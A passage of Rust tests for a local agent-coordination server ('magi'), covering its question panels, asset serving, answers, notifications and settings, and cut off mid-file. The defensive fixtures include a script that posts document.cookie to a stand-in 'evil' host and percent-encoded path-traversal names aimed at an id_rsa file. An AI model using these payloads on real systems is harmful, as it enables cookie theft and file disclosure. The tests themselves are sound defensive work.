8876    /// Written through `Questions::put_panel` rather than by laying out the
8877    /// directory here, so these tests exercise the same on-disk shape the
8878    /// agents produce and cannot pass against a layout only the tests know.
8879    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8880        let store = fx.questions();
8881        let mut q = Question::new(
8882            "20260902-000000-beef".to_owned(),
8883            "land".to_owned(),
8884            "fix".to_owned(),
8885            "Merge this?".to_owned(),
8886            "the diff is in the panel".to_owned(),
8887            vec!["merge".to_owned(), "hold".to_owned()],
8888        );
8889        // Staged outside the questions root, because `put_panel` copies from
8890        // wherever the agent left its files.
8891        let staging = fx.home.path().join("staging");
8892        std::fs::create_dir_all(&staging).expect("staging dir");
8893        let sources: Vec<PathBuf> = assets
8894            .iter()
8895            .map(|(name, bytes)| {
8896                let path = staging.join(name);
8897                std::fs::write(&path, bytes).expect("write staged asset");
8898                path
8899            })
8900            .collect();
8901        store
8902            .put_panel(&mut q, html, &sources)
8903            .expect("write the panel");
8904        store.put(&mut q).expect("put question");
8905        q.id
8906    }
8907
8908    /// A talk on disk, without talking to a model.
8909    ///
8910    /// Written as JSON straight into the store the server reads, because the
8911    /// only constructor `talk::begin` offers takes no turn but still requires
8912    /// a real caller-visible flow. The one thing this cannot make up is the
8913    /// seat, so it is built with the real `SeatState::new` and serialized -
8914    /// the alternative, hand-writing that object, would make these tests fail
8915    /// the day the seat gains a field.
8916    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8917        seed_talk_at(&fx.talks(), id, status)
8918    }
8919
8920    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8921        std::fs::create_dir_all(store.root()).expect("talks dir");
8922        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8923            .expect("serialize a seat");
8924        let body = serde_json::json!({
8925            "schema": 1,
8926            "id": id,
8927            "repo": "/repo/magi",
8928            "agent": "mock",
8929            "status": status,
8930            "turns": [],
8931            "created_at": Timestamp::now().to_string(),
8932            "updated_at": Timestamp::now().to_string(),
8933            "seat": seat,
8934        });
8935        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8936        store.get(id).expect("the seeded talk has to be readable");
8937        id.to_owned()
8938    }
8939
8940    #[tokio::test]
8941    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8942        let fx = Fixture::start().await;
8943        let id = panel(
8944            &fx,
8945            "<h1>Merge?</h1><img src=\"diff.svg\">",
8946            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8947        );
8948
8949        for path in [
8950            format!("/api/questions/{id}/panel"),
8951            format!("/api/questions/{id}/asset/diff.svg"),
8952        ] {
8953            let res = fx.get(&path).await;
8954            assert_eq!(res.status, 200, "{path}: {}", res.body);
8955            // The whole string, not a substring. A weakened directive - an
8956            // `img-src *` that lets a panel beacon out to a remote host, a
8957            // `script-src` anything, a missing `form-action` that lets it post
8958            // the owner's decision to a third party - has to fail here, and a
8959            // `contains` assertion would let every one of those through.
8960            assert_eq!(
8961                res.header("content-security-policy"),
8962                Some(
8963                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8964                     font-src data:; base-uri 'none'; form-action 'none'; \
8965                     frame-ancestors 'self'"
8966                ),
8967                "{path} is the only thing between a hostile panel and the tailnet"
8968            );
8969            assert_eq!(
8970                res.header("x-content-type-options"),
8971                Some("nosniff"),
8972                "{path}: a browser must not re-decide the type we sent"
8973            );
8974            assert_eq!(
8975                res.header("referrer-policy"),
8976                Some("no-referrer"),
8977                "{path}: a panel must not leak the question id off the machine"
8978            );
8979
8980            // The front end mounts the frame only after a `HEAD` says the
8981            // panel is there, so `HEAD` has to answer with the same status and
8982            // the same policy as `GET` - a preflight that came back without
8983            // the CSP would mean a frame mounted on an unverified promise.
8984            let pre = fx.head(&path).await;
8985            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8986            assert_eq!(
8987                pre.header("content-security-policy"),
8988                res.header("content-security-policy"),
8989                "{path}: the preflight carries the same policy"
8990            );
8991            assert_eq!(
8992                pre.header("content-type"),
8993                res.header("content-type"),
8994                "{path}: the preflight carries the same type"
8995            );
8996        }
8997    }
8998
8999    #[tokio::test]
9000    async fn a_panel_reaches_the_browser_byte_for_byte() {
9001        let fx = Fixture::start().await;
9002        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
9003        // tag, an entity, and a multi-byte character. The sandbox is what makes
9004        // this safe, so nothing here may be rewritten on the way out - a
9005        // rewritten diff is a diff the owner cannot trust.
9006        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
9007        let id = panel(&fx, html, &[]);
9008
9009        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9010
9011        assert_eq!(res.status, 200);
9012        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9013        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9014        assert_eq!(
9015            res.header("content-disposition"),
9016            None,
9017            "the panel itself is rendered in the frame, not downloaded"
9018        );
9019    }
9020
9021    #[tokio::test]
9022    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9023        let fx = Fixture::start().await;
9024        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9025        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9026        let id = panel(
9027            &fx,
9028            "<img src=\"diff.svg\"><img src=\"shot.png\">",
9029            &[("diff.svg", svg), ("shot.png", png)],
9030        );
9031
9032        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9033        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9034
9035        assert_eq!(as_svg.status, 200);
9036        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9037        // An SVG is XML that may carry script. Inside the panel it is an
9038        // `<img src>` and the script cannot run; opened at the top level it
9039        // would be a document on magi's own origin, so the browser is told to
9040        // download it instead of rendering it.
9041        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9042
9043        assert_eq!(as_png.status, 200);
9044        assert_eq!(as_png.header("content-type"), Some("image/png"));
9045        assert_eq!(
9046            as_png.header("content-disposition"),
9047            None,
9048            "a raster image has no execution surface, so tapping it still shows it"
9049        );
9050        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9051    }
9052
9053    #[tokio::test]
9054    async fn an_html_asset_is_never_served_as_html() {
9055        let fx = Fixture::start().await;
9056        let id = panel(
9057            &fx,
9058            "<p>see the notes</p>",
9059            &[
9060                (
9061                    "notes.html",
9062                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9063                ),
9064                ("hook.js", b"fetch('http://evil/')"),
9065                ("data.json", b"{}"),
9066                ("HEADLINE.TXT", b"plain"),
9067            ],
9068        );
9069
9070        for name in ["notes.html", "hook.js", "data.json"] {
9071            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9072            assert_eq!(res.status, 200, "{name}: {}", res.body);
9073            // Serving this as text/html would be a way to reach agent markup
9074            // at the top level of the operator's browser, outside the frame's
9075            // sandbox and outside its CSP - which is the whole thing the panel
9076            // design exists to prevent. Unlisted types are downloads.
9077            assert_eq!(
9078                res.header("content-type"),
9079                Some("application/octet-stream"),
9080                "{name} must not be a type the browser will execute or render"
9081            );
9082        }
9083        // The whitelist is matched case-insensitively, so an agent shouting the
9084        // extension still gets a readable file rather than a download.
9085        let txt = fx
9086            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9087            .await;
9088        assert_eq!(
9089            txt.header("content-type"),
9090            Some("text/plain; charset=utf-8")
9091        );
9092    }
9093
9094    #[tokio::test]
9095    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9096        let fx = Fixture::start().await;
9097        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9098        // Something outside the panel directory that a traversal would reach if
9099        // one got through, so a passing test is not merely "the file was
9100        // missing anyway".
9101        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9102
9103        // Decoded before this server's handler sees them: axum percent-decodes
9104        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
9105        // string with a NUL in it. All three look like ordinary single-segment
9106        // filenames to the router, so the router passes them through and
9107        // `valid_asset_name` is what refuses them - for the literal `..`, and
9108        // for `/`, `\` and NUL not being in the permitted character set.
9109        for encoded in [
9110            "%2e%2e%2fid_rsa",
9111            "..%2fid_rsa",
9112            "..%5cid_rsa",
9113            "%2e%2e%5cid_rsa",
9114            "diff%00.svg",
9115            "..",
9116            ".hidden",
9117            "%2e%2e%2f%2e%2e%2fid_rsa",
9118        ] {
9119            let res = fx
9120                .get(&format!("/api/questions/{id}/asset/{encoded}"))
9121                .await;
9122            assert_eq!(
9123                res.status, 400,
9124                "`{encoded}` has to be refused by name, not looked up: {}",
9125                res.body
9126            );
9127            assert!(res.json()["error"].is_string(), "{}", res.body);
9128        }
9129
9130        // Not decoded, and never this handler's problem: a real slash makes the
9131        // request one segment too long for `/api/questions/{id}/asset/{name}`,
9132        // so axum's router has no route to match and answers before any code
9133        // here runs. Asserted so that a future route with a wildcard segment
9134        // cannot quietly open this door.
9135        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9136            let res = fx
9137                .get(&format!("/api/questions/{id}/asset/{literal}"))
9138                .await;
9139            assert_eq!(
9140                res.status, 404,
9141                "`{literal}` must not match the asset route at all: {}",
9142                res.body
9143            );
9144        }
9145    }
9146
9147    #[tokio::test]
9148    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9149        let fx = Fixture::start().await;
9150        let plain = ask(&fx, "Which backend?", &["SQLite"]);
9151        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9152
9153        // A question nobody wrote a panel for. The client preflights with HEAD
9154        // and cannot see inside a sandboxed frame, so this must be a status and
9155        // not an empty page.
9156        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9157        assert_eq!(none.status, 404, "{}", none.body);
9158        assert!(none.json()["error"].is_string(), "{}", none.body);
9159        assert_eq!(
9160            fx.head(&format!("/api/questions/{plain}/panel"))
9161                .await
9162                .status,
9163            404,
9164            "the preflight is the only way the client can learn this"
9165        );
9166
9167        // A name that is perfectly legal and simply is not there.
9168        let missing = fx
9169            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9170            .await;
9171        assert_eq!(missing.status, 404, "{}", missing.body);
9172        assert!(missing.json()["error"].is_string(), "{}", missing.body);
9173
9174        // A question that does not exist at all, on both routes.
9175        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9176        assert_eq!(
9177            fx.get("/api/questions/nope/asset/diff.svg").await.status,
9178            404
9179        );
9180    }
9181
9182    #[tokio::test]
9183    async fn a_run_with_an_open_question_reads_as_waiting() {
9184        let fx = Fixture::start().await;
9185        let run = "20260902-000000-beef".to_owned();
9186        write_run(&fx.runs(), &run, RunStatus::Implementing);
9187
9188        let before = fx.get("/api/runs").await.json();
9189        assert_eq!(before[0]["waiting"], false, "{before}");
9190
9191        let store = fx.questions();
9192        let mut q = Question::new(
9193            run.clone(),
9194            "implement".to_owned(),
9195            "impl-A".to_owned(),
9196            "Which backend?".to_owned(),
9197            String::new(),
9198            vec!["SQLite".to_owned()],
9199        );
9200        store.put(&mut q).expect("put");
9201
9202        let during = fx.get("/api/runs").await.json();
9203        assert_eq!(during[0]["waiting"], true, "{during}");
9204
9205        // Answered: the run is moving again, and the flag has to follow without
9206        // anything having rewritten run.json.
9207        q.answer(Answer::Choice("SQLite".to_owned()))
9208            .expect("answer");
9209        store.put(&mut q).expect("put");
9210        let after = fx.get("/api/runs").await.json();
9211        assert_eq!(after[0]["waiting"], false, "{after}");
9212    }
9213
9214    #[tokio::test]
9215    async fn an_open_question_is_listed_and_counted_by_health() {
9216        let fx = Fixture::start().await;
9217        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9218
9219        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9220        let listed = fx.get("/api/questions").await.json();
9221        assert_eq!(listed.as_array().expect("array").len(), 1);
9222        assert_eq!(listed[0]["id"], id);
9223        assert_eq!(listed[0]["status"], "open");
9224        assert_eq!(listed[0]["choices"][1], "Redis");
9225        // The count is what makes the phone's indicator honest: it is the one
9226        // number meaning nothing will move until a human acts.
9227        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9228    }
9229
9230    #[tokio::test]
9231    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9232        let fx = Fixture::start().await;
9233        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9234        let path = format!("/api/questions/{id}/answer");
9235
9236        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9237        assert_eq!(res.status, 200, "{}", res.body);
9238        let body = res.json();
9239        assert_eq!(body["status"], "answered");
9240        assert_eq!(body["answer"]["choice"], "Redis");
9241
9242        // Answered from the terminal in between the list and the tap: the UI
9243        // must be able to tell this from a bad request, so it can show the
9244        // recorded answer instead of an error.
9245        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9246        assert_eq!(again.status, 409, "{}", again.body);
9247        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9248    }
9249
9250    #[tokio::test]
9251    async fn saying_something_appends_a_turn_without_answering() {
9252        let fx = Fixture::start().await;
9253        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9254        let path = format!("/api/questions/{id}/say");
9255
9256        let res = fx
9257            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9258            .await;
9259        assert_eq!(res.status, 200, "{}", res.body);
9260        let body = res.json();
9261        assert_eq!(body["status"], "open", "talking back is not a decision");
9262        assert_eq!(body["answer"], Value::Null);
9263        assert_eq!(body["thread"][0]["who"], "operator");
9264        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9265        assert_eq!(body["waiting_on_agent"], true);
9266        // Still open, still counted, still exactly one question.
9267        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9268    }
9269
9270    #[tokio::test]
9271    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9272        let fx = Fixture::start().await;
9273        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9274
9275        let list = fx.get("/api/questions").await.json();
9276        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9277
9278        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9279        assert_eq!(res.status, 409, "{}", res.body);
9280        let q = fx.questions().get(&id).unwrap();
9281        assert!(q.status.open());
9282        assert!(q.consult.is_none());
9283    }
9284
9285    #[tokio::test]
9286    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9287        let fx = Fixture::start().await;
9288        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9289        let cfg = Config {
9290            agents: vec![crate::config::AgentSpec {
9291                id: "mock".to_owned(),
9292                kind: crate::config::AgentKind::Command,
9293                model: None,
9294                command: vec!["true".to_owned()],
9295                extra_args: Vec::new(),
9296                env: Default::default(),
9297                prompt_delivery: None,
9298            }],
9299            ..Config::default()
9300        };
9301        let talk = crate::talk::begin(
9302            &fx.talks(),
9303            &cfg,
9304            fx.home.path().to_path_buf(),
9305            Some("mock"),
9306        )
9307        .unwrap();
9308        let mut task = Task::new(
9309            "t".to_owned(),
9310            "Do it".to_owned(),
9311            PathBuf::from("/repo/magi"),
9312            Source::Agent {
9313                run: talk.id.clone(),
9314                node: crate::queue::CHAT_NODE.to_owned(),
9315            },
9316        );
9317        task.start("20260902-000000-beef".to_owned());
9318        fx.queue().put(&mut task).unwrap();
9319
9320        let list = fx.get("/api/questions").await.json();
9321        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9322        assert_eq!(
9323            list[0]["choices"],
9324            serde_json::json!(["SQLite", "Redis"]),
9325            "the hand-over is never a choice"
9326        );
9327        fx.questions()
9328            .update(&id, |q| {
9329                q.node = crate::land::APPROVAL_NODE.into();
9330                q.choices = vec!["merge".into(), "hold".into()];
9331                Ok(())
9332            })
9333            .unwrap();
9334        let list = fx.get("/api/questions").await.json();
9335        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9336        let _ = id;
9337    }
9338
9339    #[tokio::test]
9340    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9341        let fx = Fixture::start().await;
9342        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9343        fx.questions()
9344            .update(&id, |q| {
9345                q.node = crate::land::APPROVAL_NODE.into();
9346                q.choices = vec!["merge".into(), "hold".into()];
9347                Ok(())
9348            })
9349            .unwrap();
9350        let cfg = Config {
9351            agents: vec![crate::config::AgentSpec {
9352                id: "mock".to_owned(),
9353                kind: crate::config::AgentKind::Command,
9354                model: None,
9355                command: vec!["true".to_owned()],
9356                extra_args: Vec::new(),
9357                env: Default::default(),
9358                prompt_delivery: None,
9359            }],
9360            ..Config::default()
9361        };
9362        // Not a git working tree, so its `magi.toml` is read from disk.
9363        let repo = fx.home.path().join("chat-repo");
9364        std::fs::create_dir_all(&repo).unwrap();
9365        let toml = repo.join("magi.toml");
9366        std::fs::write(&toml, "this is = = not toml").unwrap();
9367        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9368        let mut task = Task::new(
9369            "t".to_owned(),
9370            "Do it".to_owned(),
9371            PathBuf::from("/repo/magi"),
9372            Source::Agent {
9373                run: talk.id.clone(),
9374                node: crate::queue::CHAT_NODE.to_owned(),
9375            },
9376        );
9377        task.start("20260902-000000-beef".to_owned());
9378        fx.queue().put(&mut task).unwrap();
9379
9380        let path = format!("/api/questions/{id}/consult");
9381        let res = fx.post(&path, None).await;
9382        assert!(res.status >= 400, "{}", res.body);
9383        assert!(fx.questions().get(&id).unwrap().consult.is_none());
9384        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9385
9386        std::fs::write(&toml, "").unwrap();
9387        let res = fx.post(&path, None).await;
9388        assert_eq!(res.status, 202, "{}", res.body);
9389        assert!(fx.questions().get(&id).unwrap().consult.is_some());
9390        let q = fx.questions().get(&id).unwrap();
9391        assert!(q.status.open());
9392        assert!(q.answer.is_none());
9393        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9394    }
9395
9396    #[tokio::test]
9397    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9398        let fx = Fixture::start().await;
9399        let store = fx.questions();
9400        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9401        assert_eq!(
9402            fx.get("/api/health").await.json()["questions_needs_owner"],
9403            1
9404        );
9405
9406        // The owner asks back instead of deciding: the ask bar, the nav badge
9407        // and the title must stop naming this question, because there is
9408        // nothing to decide until the agent answers - `status` alone cannot
9409        // say that, which is the whole reason `questions_needs_owner` exists
9410        // alongside `questions_open`.
9411        let res = fx
9412            .post(
9413                &format!("/api/questions/{id}/say"),
9414                Some(r#"{"body":"why not Postgres?"}"#),
9415            )
9416            .await;
9417        assert_eq!(res.status, 200, "{}", res.body);
9418        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9419        assert_eq!(
9420            fx.get("/api/health").await.json()["questions_needs_owner"],
9421            0,
9422            "waiting on the agent is not waiting on the owner"
9423        );
9424
9425        // `magi ask --thread` replying is what brings the owner count back -
9426        // the same event that would resume the CLI call blocked in `magi
9427        // ask`.
9428        let mut q = store.get(&id).expect("get");
9429        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9430            .expect("reply");
9431        store.put(&mut q).expect("put");
9432        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9433        assert_eq!(
9434            fx.get("/api/health").await.json()["questions_needs_owner"],
9435            1,
9436            "the agent's reply is what should light the banner back up"
9437        );
9438    }
9439
9440    #[tokio::test]
9441    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9442        let fx = Fixture::start().await;
9443        let store = fx.questions();
9444
9445        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9446        let res = fx
9447            .post(
9448                &format!("/api/questions/{empty_id}/say"),
9449                Some(r#"{"body":"   "}"#),
9450            )
9451            .await;
9452        assert_eq!(res.status, 400, "{}", res.body);
9453
9454        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9455        let mut answered = store.get(&answered_id).expect("get");
9456        answered
9457            .answer(Answer::Choice("SQLite".to_owned()))
9458            .expect("answer");
9459        store.put(&mut answered).expect("put");
9460        let res = fx
9461            .post(
9462                &format!("/api/questions/{answered_id}/say"),
9463                Some(r#"{"body":"still there?"}"#),
9464            )
9465            .await;
9466        assert_eq!(res.status, 409, "{}", res.body);
9467
9468        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9469        let mut abandoned = store.get(&abandoned_id).expect("get");
9470        abandoned.abandon("timed out");
9471        store.put(&mut abandoned).expect("put");
9472        let res = fx
9473            .post(
9474                &format!("/api/questions/{abandoned_id}/say"),
9475                Some(r#"{"body":"still there?"}"#),
9476            )
9477            .await;
9478        assert_eq!(res.status, 409, "{}", res.body);
9479    }
9480
9481    #[tokio::test]
9482    async fn an_answer_the_question_does_not_offer_is_refused() {
9483        let fx = Fixture::start().await;
9484        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9485        let path = format!("/api/questions/{id}/answer");
9486
9487        for body in [
9488            r#"{"choice":"Postgres"}"#,
9489            r#"{"text":"whatever you think"}"#,
9490            r#"{"choice":"Redis","text":"both"}"#,
9491            r#"{}"#,
9492        ] {
9493            let res = fx.post(&path, Some(body)).await;
9494            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9495            assert!(res.json()["error"].is_string(), "{}", res.body);
9496        }
9497        // Nothing above may have answered it.
9498        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9499    }
9500
9501    #[tokio::test]
9502    async fn a_free_text_question_takes_text_and_not_a_choice() {
9503        let fx = Fixture::start().await;
9504        let id = ask(&fx, "What should the flag be called?", &[]);
9505        let path = format!("/api/questions/{id}/answer");
9506
9507        assert_eq!(
9508            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9509            400
9510        );
9511        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9512        assert_eq!(res.status, 200, "{}", res.body);
9513        assert_eq!(res.json()["answer"]["text"], "--json");
9514    }
9515
9516    #[tokio::test]
9517    async fn an_unknown_question_is_a_json_404() {
9518        let fx = Fixture::start().await;
9519        let res = fx
9520            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9521            .await;
9522        assert_eq!(res.status, 404, "{}", res.body);
9523        assert!(res.json()["error"].is_string());
9524    }
9525
9526    #[tokio::test]
9527    async fn notifications_list_read_dismiss_and_health_agree() {
9528        let fx = Fixture::start().await;
9529        let store = Notices::at(fx.home.path().join("notifications"));
9530        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9531        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9532
9533        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9534        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9535
9536        let health = fx.get("/api/health").await.json();
9537        assert_eq!(health["notifications_unread"], 2);
9538        assert_ne!(
9539            health["notifications_rev"], rev0,
9540            "the badge must move live"
9541        );
9542
9543        let listed = fx.get("/api/notifications").await.json();
9544        assert_eq!(listed["unread"], 2);
9545        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9546        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9547
9548        let read = fx
9549            .post(&format!("/api/notifications/{}/read", a.id), None)
9550            .await;
9551        assert_eq!(read.status, 200, "{}", read.body);
9552        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9553
9554        let gone = fx
9555            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9556            .await;
9557        assert_eq!(gone.status, 200, "{}", gone.body);
9558        let listed = fx.get("/api/notifications").await.json();
9559        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9560        assert_eq!(listed["unread"], 0);
9561
9562        store.raise(Notice::info("x", "again")).unwrap();
9563        let all = fx.post("/api/notifications/read-all", None).await;
9564        assert_eq!(all.status, 200, "{}", all.body);
9565        assert_eq!(all.json()["marked"], 1);
9566        assert_eq!(
9567            fx.get("/api/health").await.json()["notifications_unread"],
9568            0
9569        );
9570
9571        let missing = fx.post("/api/notifications/nope/read", None).await;
9572        assert_eq!(missing.status, 404, "{}", missing.body);
9573        assert!(missing.json()["error"].is_string());
9574    }
9575
9576    /// New work reaches the queue through `magi task add`, a standing talk's
9577    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
9578    /// so the compose form and that route are gone. The tests that covered
9579    /// that route's validation went with it, and nothing was left asserting
9580    /// it stays gone — so a re-added handler would silently let the phone
9581    /// file briefs no one validated.
9582    #[tokio::test]
9583    async fn a_task_cannot_be_filed_over_the_phone_directly() {
9584        let f = Fixture::start().await;
9585
9586        let res = f
9587            .post(
9588                "/api/queue",
9589                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9590            )
9591            .await;
9592
9593        assert_eq!(
9594            res.status, 405,
9595            "POST /api/queue must not be a route: {}",
9596            res.body
9597        );
9598        assert!(
9599            f.queue().list().is_empty(),
9600            "a task filed by a route that does not exist must not reach the disk"
9601        );
9602        // The path itself is still served — the Queue view reads it — and the
9603        // per-task controls are untouched by the entry being removed.
9604        assert_eq!(f.get("/api/queue").await.status, 200);
9605    }
9606
9607    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
9608    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9609        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9610            .expect("checkout dir");
9611    }
9612
9613    /// Two command agents, so a config needs no real CLI.
9614    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9615
9616    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9617        let tmp = TempDir::new().expect("tempdir");
9618        let repo = tmp.path().join("repo");
9619        std::fs::create_dir_all(&repo).expect("repo dir");
9620        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9621        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9622        if let Some(text) = machine_toml {
9623            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9624            std::fs::write(&machine, text).expect("machine toml");
9625        }
9626        (tmp, repo, machine)
9627    }
9628
9629    async fn settings_checkout(path: &FsPath, text: &str) {
9630        std::fs::create_dir_all(path).unwrap();
9631        std::fs::write(path.join("magi.toml"), text).unwrap();
9632        for args in [
9633            vec!["init", "-b", "main"],
9634            vec!["add", "magi.toml"],
9635            vec![
9636                "-c",
9637                "user.name=Test",
9638                "-c",
9639                "user.email=test@example.invalid",
9640                "commit",
9641                "-m",
9642                "fixture",
9643            ],
9644            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9645            vec![
9646                "symbolic-ref",
9647                "refs/remotes/origin/HEAD",
9648                "refs/remotes/origin/main",
9649            ],
9650        ] {
9651            crate::git::git(path, &args).await.unwrap();
9652        }
9653    }
9654
9655    #[tokio::test]
9656    async fn settings_context_handlers_validate_and_save_without_a_socket() {
9657        let (tmp, repo, machine) =
9658            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9659        let root = tmp.path().join("roots");
9660        let selected = root.join("host/owner/selected");
9661        settings_checkout(
9662            &selected,
9663            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9664        )
9665        .await;
9666        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9667        let before = std::fs::read(&machine).unwrap();
9668        let ui = Arc::new(
9669            Ui::new(
9670                Queue::at(tmp.path().join("queue")),
9671                Questions::at(tmp.path().join("questions")),
9672                Talks::at(tmp.path().join("talks")),
9673                tmp.path().join("runs"),
9674                tmp.path().to_path_buf(),
9675                repo.clone(),
9676            )
9677            .with_machine_config(Some(machine.clone())),
9678        );
9679        let query = || {
9680            Query(SettingsQuery {
9681                repo: Some(selected.clone()),
9682            })
9683        };
9684        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9685        assert!(v.error.is_none(), "{:?}", v.error);
9686        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9687        assert_eq!(conductor.source, "repo");
9688        assert_eq!(
9689            conductor.machine_value,
9690            Some(toml::Value::String("a".into()))
9691        );
9692        assert!(!conductor.editable);
9693        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9694        assert_eq!(
9695            judges.count.as_ref().unwrap().machine_value,
9696            Some(toml::Value::Integer(1))
9697        );
9698        assert!(
9699            !v.roles
9700                .iter()
9701                .find(|r| r.key == "reviewers")
9702                .unwrap()
9703                .editable
9704        );
9705        let unknown = || {
9706            Query(SettingsQuery {
9707                repo: Some(tmp.path().to_path_buf()),
9708            })
9709        };
9710        assert_eq!(
9711            settings_get(State(ui.clone()), unknown())
9712                .await
9713                .unwrap_err()
9714                .status,
9715            StatusCode::UNPROCESSABLE_ENTITY
9716        );
9717        let body = || {
9718            Ok(Json(RolesBody {
9719                revision: v.revision.clone(),
9720                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9721                counts: Default::default(),
9722            }))
9723        };
9724        assert_eq!(
